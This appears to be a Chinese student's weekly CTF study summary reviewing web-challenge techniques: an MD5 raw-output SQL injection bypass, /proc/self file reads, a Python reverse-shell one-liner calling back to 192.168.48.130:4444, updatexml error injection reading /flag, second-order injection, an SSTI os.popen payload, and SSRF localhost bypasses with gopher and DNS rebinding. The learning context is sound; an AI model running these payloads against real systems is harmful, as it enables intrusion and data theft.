2023 10月2日 至 10 月8日学习总结

学了半天 想了还是需要进行个总结

1.做的题目

NSSCTF [BJDCTF 2020]easy_md5 md5实现sql-CSDN博客

[网鼎杯 2020 白虎组]PicDown python反弹shell proc/self目录的信息_双层小牛堡的博客-CSDN博客

[CISCN2019 华北赛区 Day1 Web5]CyberPunk 二次报错注入_双层小牛堡的博客-CSDN博客

攻防世界 mfw git泄露构造闭合-CSDN博客

攻防世界 Web_python_template_injection SSTI printer方法_双层小牛堡的博客-CSDN博客

CTFSHOW SSRF_双层小牛堡的博客-CSDN博客

[GXYCTF2019]禁止套娃 无回显 RCE 过滤__FILE__ dirname等-CSDN博客

CTFHUB - SSRF_双层小牛堡的博客-CSDN博客

[b01lers2020]Welcome to Earth_双层小牛堡的博客-CSDN博客

以上是

2023 10月2-8日做的题目 正值国庆假期 所以题目会多点

2.知识点

这里进行知识点的复习

特殊的MD5 实现万能钥匙闭合

题目内容是 一个sql语句

select *  from password = md5($pass,true)

这里会通过MD5 然后进行查询

这里就会有一个特殊的md5

ffifdyop

md5为 276F722736C95D99E921722CF9ED621C

然后通过十六进制转字符串

为'or'6  É]é!r,ùíb

所以传入的值变为了

select *  from password = ''or'6  É]é!r,ùíb'

就会实现万能密码的作用

这里还有一个

129581926211651571912466741651878684928

作用是一样的

proc/self文件夹

Linux的/proc/self/学习_lmonstergg的博客-CSDN博客

文件夹里都是和进程相关的

首先存在 environ 和 cmdline

其中会存在敏感信息

存在任意文件读取 我们可以去读取这个

然后获取完如果想获得当前工作环境的文件内容

可以通过 /proc/self/cwd/文件 来读取

如果文件代码中存在 open 打开文件的字样

那么就会在 /proc/self/fd/[0-999] 中创建

然后我们就可以通过 bp爆破 获取敏感信息

反弹shell

主要是python反弹shell

首先可以通过

os.system(shell)

发现可以执行命令

然后可以让受害者 主动链接攻击机器 主要方式是通过免费域名

然后进行监听端口

主要反弹shell的代码

//kali使用nc进行对本机的4444端口进行监听:
nc -lvvp 4444
//目标主机执行下面python命令:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.48.130",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

NATAPP -

这里可以免费获取

没有回显的rce就可以使用这个

报错注入读取文件

通过 load_file("文件") 来读取

updatexml(1,concat(0x7e,(select load_file('/flag'))),3)

二次注入

    $address = addslashes($_POST["address"]);

发现没有进行过滤

    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];

并且会从数据库进行读取

 $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);

这里的old_address 那么我们输入报错语句 ' updatexml() 就会一样的输出 因为只是作为转义存入了

所以会原封不动的输出

 $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='"' updatexml()#"' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);

实现了 二次注入

SSTI的 printer方法

这里只是记录一下 这个方法也可以实现注入

格式为下面的

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}

SSRF ctfshow内容

主要是 sudo.cc 表示 127.0.0.1

127.1 表示127.0.0.1

无回显rce localeconv() array_reverse() session_start()

因为过滤了 __ dir

无法使用以前的 print_r(FILE)

这里可以通过 localeconv() 返回当前目录中的 .

然后通过指定 . 使用 current(localeconv())

print_r(current(localeconv)) 就类似于 print_r('.')

会回显当前

array_reverse 让数组倒序输出

这里还可以使用 session_start(session_id) 开启 session 然后通过 session 传递 flag.php

所以直接

print_r(session_start(session_id))

Cookie: PHPSESSID=flag.php

即可

SSRF ctfhub内容

打中间件直接使用 gopherus

git clone https://github.com/tarunkant/Gopherus.git

通过 工具生成 payload 然后 进行一次 url编码 即可

通过蚁剑链接 实现rce

可以通过

dict://127.0.0.1:xx 扫描端口 发现服务

gopher:// 可以伪造请求包 发送请求

格式

gopher://ip:port/_内容

需要进行2次url

%0a 需要 替换为%0d%0a

结尾也需要加上 %0d%0a

FASTCGI 作为服务器和解释器之间的协议

我们可以伪造包去访问FASTCGI 然后通过设置包含 实现rce

ctf@127.0.0.1 会被解析为 127.0.0.1

127.0.0.1:
 
 
八进制:0177.0.0.1
十六进制:0x7f.0.0.1
十进制:2130706433
 
或者利用其他为 127.0.0.1的内容
 
http://localhost/
http://0/
http://[0:0:0:0:0:ffff:127.0.0.1]/
http://①②⑦.⓪.⓪.①

302可以通过短网址-短链接生成 还有 xip.io

DNS bypass 就是通过时间差 转变域名的 ip 当第一次ip通过检查后 第二次变为127.0.0.1

rbndr.us dns rebinding service

python排列组合方式

from itertools import permutations
 
flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"]
 
item = permutations(flag)
 
for i in item:
    k=''.join(list(i))
    if k.startswith('pctf{')    and k[-1]=='}':
        print(k)

可以输出数组所有组合方式 我们确定开头和结尾 即可得到flag

3.不足

做题 没有沉下心来做 没思路就去看wp了

有的时候做题 感觉不难的 为什么不坚持坚持 去搜搜知识点 而不是直接搜wp来做

4.下一周计划

美亚可以准备了

buu继续做

nss 可以跟上 做点比赛真题

相关推荐
HackKong2 分钟前
小白怎样入门网络安全?
网络·学习·安全·web安全·网络安全·黑客
Bald Baby23 分钟前
JWT的使用
java·笔记·学习·servlet
心怀梦想的咸鱼1 小时前
UE5 第一人称射击项目学习(四)
学习·ue5
AI完全体1 小时前
【AI日记】24.11.22 学习谷歌数据分析初级课程-第2/3课
学习·数据分析
Mephisto.java2 小时前
【大数据学习 | Spark-Core】Spark提交及运行流程
大数据·学习·spark
PandaCave2 小时前
vue工程运行、构建、引用环境参数学习记录
javascript·vue.js·学习
yuwinter2 小时前
鸿蒙HarmonyOS学习笔记(2)
笔记·学习·harmonyos
red_redemption2 小时前
自由学习记录(23)
学习·unity·lua·ab包
幽兰的天空3 小时前
默语博主的推荐:探索技术世界的旅程
学习·程序人生·生活·美食·交友·美女·帅哥
沐泽Mu4 小时前
嵌入式学习-C嘎嘎-Day05
开发语言·c++·学习